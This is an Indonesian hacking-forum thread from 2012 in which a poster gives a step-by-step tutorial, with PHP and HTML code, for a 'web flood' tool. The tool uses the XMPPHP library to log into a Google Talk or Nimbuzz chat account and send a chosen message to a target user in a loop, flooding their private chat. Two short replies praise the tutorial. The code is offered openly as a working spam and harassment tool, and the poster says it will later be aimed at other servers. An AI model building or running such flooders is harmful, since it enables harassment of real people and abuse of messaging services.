souldear Co-Administrator
Jumlah posting : 32 Join date : 13.02.11 Age : 79 Lokasi : Bandung city
| Subyek: Cara membuat Web flood tes :D 26/3/2012, 16:17 | |
| Pertama-tama silahkan download aplikasi webserver seperti xampp, appserv, IIS dll. Disini saya mengguanakan xampp yang bisa anda download di [You must be registered and logged in to see this link.]Setelah download silahkan extract dan install. lalu untuk script xmpphp silahkan download xmpphp di [You must be registered and logged in to see this link.]xmpphp. Saya memilih xmpphp-0.1rc2r77.zip. Lalu extract dan akan terdapat folder berikut Buatlah sebuah folder pada direktori c: \xampp\htdocs (jika anda menggunakan xampp) dengan nama webflood. Setelah itu buka file sendmessage_example.php dengan notepad. script 1 - Code:
-
<?php // activate full error reporting //error_reporting (E_ALL & E_STRICT); include 'XMPPHP/ XMPP.php'; #Use XMPPHP_Log::LEVEL_VERBOSE to get more logging for error reports #If this doesn't work, are you running 64-bit PHP with < 5.2.6? $conn = new XMPPHP_XMPP ('talk.google.com', 5222, 'username', 'password', 'xmpphp', 'gmail.com', $printlog=false, $loglevel=XMPPHP_Log::LEVEL_INFO); try { $conn->connect(); $conn->processUntil ('session_start'); $conn->presence(); $conn->message ('someguy@someserver.net', 'This is a test message!'); $conn->disconnect(); } catch (XMPPHP_Exception $e) { die($e->getMessage ()); } Keterangan script 1: talk.google.com = nama host dari server google talk 5222 = nomer port yang digunakan untuk berkomunikasi username = nama user ID chat anda password = password user ID chat anda xmpphp = nama resource / aplikasi chat /chat client yang kita pakai gmail.com = nama server dari google talk Coba masukkan ID chat, password anda. Dalam hal ini saya akan mencoba mengirimkan 1 private chat dari [You must be registered and logged in to see this link.]ke [You must be registered and logged in to see this link.]script 2 - Code:
-
<?php // activate full error reporting //error_reporting (E_ALL & E_STRICT); include 'XMPPHP/ XMPP.php'; #Use XMPPHP_Log::LEVEL_VERBOSE to get more logging for error reports #If this doesn't work, are you running 64-bit PHP with < 5.2.6? $conn = new XMPPHP_XMPP ('openfire.nimbuzz.com', 5222, 'kuplikmalik', '******', 'xmpphp', 'nimbuzz.com', $printlog=false, $loglevel=XMPPHP_Log::LEVEL_INFO); try { $conn->connect(); $conn->processUntil ('session_start'); $conn->presence(); $conn->message ('-souldear-@nimbuzz.com', 'This is a test message!'); $conn->disconnect(); } catch (XMPPHP_Exception $e) { die($e->getMessage ()); } Save script di atas dengan nama script2.php dan simpan pada folder c: \xampp\htdocs \webflood. Setelah itu aktifkan apache pada xampp anda. Buka browser anda dan masukkan url berikut [You must be registered and logged in to see this link.]webflood/coba.php. Lalu akan terkirim sebuah pesan dari [You must be registered and logged in to see this link.]/ xmpphp kepada [You must be registered and logged in to see this link.]berisi "This is a test message!" Keterangan script 2: Ganti juned dengan ID chat nimbuzz anda. Ganti ***** dengan password chat nimbuzz anda. Ganti [You must be registered and logged in to see this link.]dengan user ID chat yang anda tuju. Berhenti di sini jika percobaan anda gagal. Karena ini merupakan hal dasar untuk membuat script webflood selanjutnya. Jika anda tetap mengalami kegagalan di sini coba cek versi php anda apakah di bawah php versi 5.2.6, karena versi minimum php yang di butuhkan adalah 5.2.6. Versi php pada xampp saya adalah versi 5.3.1. Sekarang mari kita membuat hal ini lebih mudah dalam hal interface nya. Disini saya akan membuat sebuah interface dari html bukan menyatukan scriptnya menjadi 1 dengan php karena menurut pendapat saya perulangan / looping secara terpisah seperti ini akan membuat script melakukan looping lebih ringan daripada dijadikan satu. script 3 - Code:
-
<html><body> <form method="post" action="coba1.php"> Username:<input type="text" name="username"/ ><br> Password:<input type="text" name="password"/ ><br> Host:<input type="text" name="host"/><br> Port:<input type="text" name="port"/><br> Server Name:<input type="text" name="server"/ ><br> Resource:<input type="text" name="resource"/ ><br> Username Target:<input type="text" name="target"/ ><br> Enter your message:<input type="text" name="textflood"/ ><br> Kirim<input type="submit" name="Submit" value="Submit"/> </form> </body></html> Simpan dengan nama coba1.html dan save pada direktori webflood tadi Keterangan script 3: Tidak ada, karena saya kira anda sudah memahami script html yang sederhana ini. Mengenai penjelasan mengapa saya tetap memasukkan textbox port, server dan host yang memiliki nilai tetap jika saya menggunakan server nimbuzz? Hal ini karena nantinya kita juga akan berbicara mengenai flooding ke server lain selain server nimbuzz. Just do it !! script 4 - Code:
-
<?php $user=$_POST ['username']; $pass=$_POST ['password']; $host=$_POST['host']; $port= '5222'; $server=$_POST ['server']; $resource=$_PORT ['resource']; $to=$_POST['target']; $body=$_POST ['textflood']; include 'XMPPHP/ XMPP.php'; $conn = new XMPPHP_XMPP ($host, $port, $user, $pass, $resource, $server, $printlog=false, $loglevel=XMPPHP_Log::LEVEL_INFO); try { $conn->connect(); $conn->processUntil ('session_start'); $conn->presence(); $conn->message($to, $body); $conn->disconnect(); } catch (XMPPHP_Exception $e) { die($e->getMessage ()); } save dengan nama coba1.php pada direktori webflood. Keterangan script 4: Disini saya hanya melakukan declare variable agar kita bisa dengan mudah mengubah username, password, dll. Sekarang coba buka browser anda dan tulis url [You must be registered and logged in to see this link.]localhost/webflood/ coba.html. Dan masukkan data seperti data pada script 2 Lalu klik submit. Maka -souldear- akan mengirimkan 1 private chat kepada Juned. Bila tidak ada pesan yang terkirim, tolong ulangi lagi sampai berhasil, karena ini masih dasar. Flooding Private Chat Sekarang kita beranjak ke flood private chat dengan melakukan looping / perulangan pada jumlah tertentu. Di sini kita akan menambahkan textbox jumlah dan script looping yaitu script 5: for - Code:
-
($i = 1; $i <= $jumlah; $i++) Keterangan script 5: script ini akan memerintahkan untuk melakukan perulangan sebanyak variabel jumlah. Sekarang kita masukkan textbox untuk menambahkan jumlah pada coba1.html. Sehingga menjadi: script 6 - Code:
-
<html><body> <form method="post" action="coba2.php"> Username:<input type="text" name="username"/ ><br> Password:<input type="text" name="password"/ ><br> Host:<input type="text" name="host"/><br> Port:<input type="text" name="port"/><br> Server Name:<input type="text" name="server"/ ><br> Resource:<input type="text" name="resource"/ ><br> Username Target:<input type="text" name="target"/ ><br> Jumlah Flood:<input type="text" name="jumlah"/ ><br> Enter your message:<input type="text" name="textflood"/ ><br> Kirim<input type="submit" name="Submit" value="Submit"/> </form> </body></html> Copy script di atas dan save dengan nama coba2.html Keterangan script 6: Disini saya cuma menambahkan textbox jmlh untuk menentukan jumlah flood yg akan kita kirimkan script 7 - Code:
-
<?php $user=$_POST ['username']; $pass=$_POST ['password']; $host=$_POST['host']; $port= '5222'; $server=$_POST ['server']; $resource=$_PORT ['resource']; $to=$_POST['target']; $body=$_POST ['textflood']; $jumlah=$_POST ['jumlah']; include 'XMPPHP/ XMPP.php'; $conn = new XMPPHP_XMPP ($host, $port, $user, $pass, $resource, $server, $printlog=false, $loglevel=XMPPHP_Log::LEVEL_INFO); try { $conn->connect(); $conn->processUntil ('session_start'); $conn->presence(); for ($i = 1; $i <= $jumlah; $i++) { $conn->message($to, $body); } $conn->disconnect(); } catch (XMPPHP_Exception $e) { die($e->getMessage ()); } Save dngn nama coba2.php. Lalu masuk spt biasa test script ini. Jika berhasil mk 10 private chat akan terkirim. Met mencoba boz:lol!: | |
|
kelinci_liar Administrator
Jumlah posting : 15 Join date : 31.01.11 Age : 38 Lokasi : Aceh/padang
| Subyek: Re: Cara membuat Web flood tes :D 26/3/2012, 18:24 | |
| Wuih mantap nich komplit bnget tutor nya,, ijid edit brad,biar lebih sempurna keliatan nya | |
|
souldear Co-Administrator
Jumlah posting : 32 Join date : 13.02.11 Age : 79 Lokasi : Bandung city
| Subyek: Re: Cara membuat Web flood tes :D 2/4/2012, 14:54 | |
| Silakan brad... tlong bantu juga bila kurang sempurna | |
|
Sponsored content
| Subyek: Re: Cara membuat Web flood tes :D | |
| |
|